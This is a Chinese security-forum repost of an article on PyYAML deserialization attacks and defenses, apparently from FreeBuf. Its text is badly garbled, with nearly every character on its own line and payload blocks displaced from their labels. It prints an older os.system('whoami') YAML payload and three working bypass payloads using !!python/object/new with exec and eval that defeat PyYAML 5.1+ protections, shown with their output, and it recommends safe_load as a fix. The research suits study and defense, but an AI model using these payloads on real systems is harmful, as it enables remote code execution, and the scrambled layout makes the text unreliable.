论坛
BBS
空间测绘
发表
发布文章
提问答疑
搜索
您还未登录
登录后即可体验更多功能
立即登录
我的收藏
提问答疑
我要投稿
逆向
[16159] 2020-12-02_PyYAML反序列化防御和ByPass研究
文档创建者：
s7ckTeam
浏览次数：
8
最后更新：
2025-01-18
逆向
8 人阅读
|
0 人回复
s7ckTeam
s7ckTeam
当前离线
积分
-56
6万
主题
-6万
回帖
-56
积分
管理员
积分
-56
发消息
2020-12-02_PyYAML反序列化防御和ByPass研究
P
y
Y
A
M
L
反
序
列
化
防
御
和
B
y
P
a
s
s
研
究
柠
檬
菠
萝
F
r
e
e
B
u
f
2
0
2
0
-
1
2
-
0
2
P
y
Y
A
M
L
介
绍
介
绍
P
y
Y
A
M
L
是
P
y
t
h
o
n
出
众
的
模
块
之
一
。
P
y
Y
A
M
L
就
是
p
y
t
h
o
n
的
一
个
y
a
m
l
库
y
a
m
l
格
式
的
语
言
都
会
有
自
己
的
实
现
来
进
行
y
a
m
l
格
式
的
解
析
（
读
取
和
保
存
）
。
若
对
于
P
y
t
h
o
n
反
序
列
化
有
所
了
解
一
定
会
听
说
过
它
。
P
y
Y
A
M
L
历
史
漏
洞
和
修
复
历
史
漏
洞
和
修
复
它
的
反
序
列
化
漏
洞
使
得
大
多
数
P
y
t
h
o
n
安
全
研
究
人
员
对
齐
记
忆
犹
新
。
当
咱
们
使
用
反
序
列
化
时
候
会
使
用
如
下
的
载
荷
：
并
且
使
用
l
o
a
d
(
)
进
行
加
载
时
P
y
Y
A
M
L
将
会
执
行
o
s
.
s
y
s
t
e
m
(
“
w
h
o
a
m
i
”
)
。
这
样
会
导
致
命
令
执
行
，
从
而
输
出
用
户
名
。
该
漏
洞
在
5
.
1
+
版
本
之
中
得
到
修
复
，
如
果
依
然
使
用
历
史
漏
洞
载
荷
，
将
会
得
到
错
误
提
示
的
告
警
。
这
样
因
为
只
能
反
序
列
化
部
分
基
本
类
型
，
极
大
程
度
上
缓
解
了
反
序
列
化
漏
洞
带
来
的
影
响
。
P
y
Y
A
M
L
B
y
P
a
s
s
当
咱
们
回
看
部
分
基
本
类
型
时
，
将
会
注
意
到
P
y
t
h
o
n
内
置
方
法
e
x
e
c
、
e
v
a
l
。
在
手
册
之
中
有
这
样
一
段
描
述
。
如
此
能
够
得
到
B
y
P
a
s
s
载
荷
。
P
a
y
L
o
a
d
1
:
!
!
p
y
t
h
o
n
/
o
b
j
e
c
t
/
n
e
w
:
o
s
.
s
y
s
t
e
m
[
"
w
h
o
a
m
i
"
]
w
h
i
l
e
c
o
n
s
t
r
u
c
t
i
n
g
a
P
y
t
h
o
n
i
n
s
t
a
n
c
e
e
x
p
e
c
t
e
d
a
c
l
a
s
s
,
b
u
t
f
o
u
n
d
<
c
l
a
s
s
'
b
u
i
l
t
i
n
_
f
u
n
c
t
i
o
n
_
o
r
_
m
e
t
h
o
d
'
>
i
n
"
<
u
n
i
c
o
d
e
s
t
r
i
n
g
>
"
,
l
i
n
e
1
,
c
o
l
u
m
n
1
:
!
!
p
y
t
h
o
n
/
o
b
j
e
c
t
/
n
e
w
:
o
s
.
s
y
s
t
e
m
[
"
.
.
.
^
e
x
e
c
执
行
储
存
在
字
符
串
或
文
件
中
的
P
y
t
h
o
n
语
句
，
相
比
于
e
v
a
l
，
e
x
e
c
可
以
执
行
更
复
杂
的
P
y
t
h
o
n
代
码
。
i
m
p
o
r
t
y
a
m
l
p
a
y
l
o
a
d
=
"
"
"
-
!
!
p
y
t
h
o
n
/
o
b
j
e
c
t
/
n
e
w
:
s
t
r
a
r
g
s
:
[
]
s
t
a
t
e
:
!
!
p
y
t
h
o
n
/
t
u
p
l
e
-
"
p
r
i
n
t
(
'
漏
洞
存
在
'
)
"
-
!
!
p
y
t
h
o
n
/
o
b
j
e
c
t
/
n
e
w
:
s
t
a
t
i
c
m
e
t
h
o
d
a
r
g
s
:
[
0
]
s
t
a
t
e
:
u
p
d
a
t
e
:
!
!
p
y
t
h
o
n
/
n
a
m
e
:
e
x
e
c
"
"
"
y
a
m
l
.
l
o
a
d
(
p
a
y
l
o
a
d
)
P
a
y
L
o
a
d
2
:
P
a
y
L
o
a
d
3
:
这
三
种
载
荷
均
是
利
用
基
本
类
型
之
中
代
码
执
行
函
数
，
从
而
绕
过
5
.
1
+
的
防
御
措
施
。
修
复
方
法
修
复
方
法
1
、
按
照
官
方
推
荐
使
用
s
a
f
e
_
l
o
a
d
对
于
序
列
化
内
容
进
行
加
载
。
2
、
检
测
加
载
文
件
头
防
止
加
载
代
码
执
行
函
数
。
精
彩
推
荐
精
彩
推
荐
回
显
：
-
>
漏
洞
存
在
i
m
p
o
r
t
y
a
m
l
p
a
y
l
o
a
d
=
"
"
"
!
!
p
y
t
h
o
n
/
o
b
j
e
c
t
/
n
e
w
:
t
y
p
e
a
r
g
s
:
[
"
z
"
,
!
!
p
y
t
h
o
n
/
t
u
p
l
e
[
]
,
{
"
e
x
t
e
n
d
"
:
!
!
p
y
t
h
o
n
/
n
a
m
e
:
e
x
e
c
}
]
l
i
s
t
i
t
e
m
s
:
"
p
r
i
n
t
(
'
漏
洞
存
在
'
)
"
"
"
"
y
a
m
l
.
l
o
a
d
(
p
a
y
l
o
a
d
)
回
显
：
-
>
漏
洞
存
在
i
m
p
o
r
t
y
a
m
l
p
a
y
l
o
a
d
=
"
"
"
!
!
p
y
t
h
o
n
/
o
b
j
e
c
t
/
n
e
w
:
t
u
p
l
e
-
!
!
p
y
t
h
o
n
/
o
b
j
e
c
t
/
n
e
w
:
m
a
p
-
!
!
p
y
t
h
o
n
/
n
a
m
e
:
e
v
a
l
-
[
p
r
i
n
t
(
'
漏
洞
存
在
'
)
]
"
"
"
y
a
m
l
.
l
o
a
d
(
p
a
y
l
o
a
d
)
回
显
：
-
>
漏
洞
存
在
阅
读
原
文
回复
举报
上一个主题
下一个主题
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
|
立即注册
本版积分规则
发表回复
!disable!!post_parseurl!
使用Markdown编辑器编辑
使用富文本编辑器编辑
回帖后跳转到最后一页
发表
逆向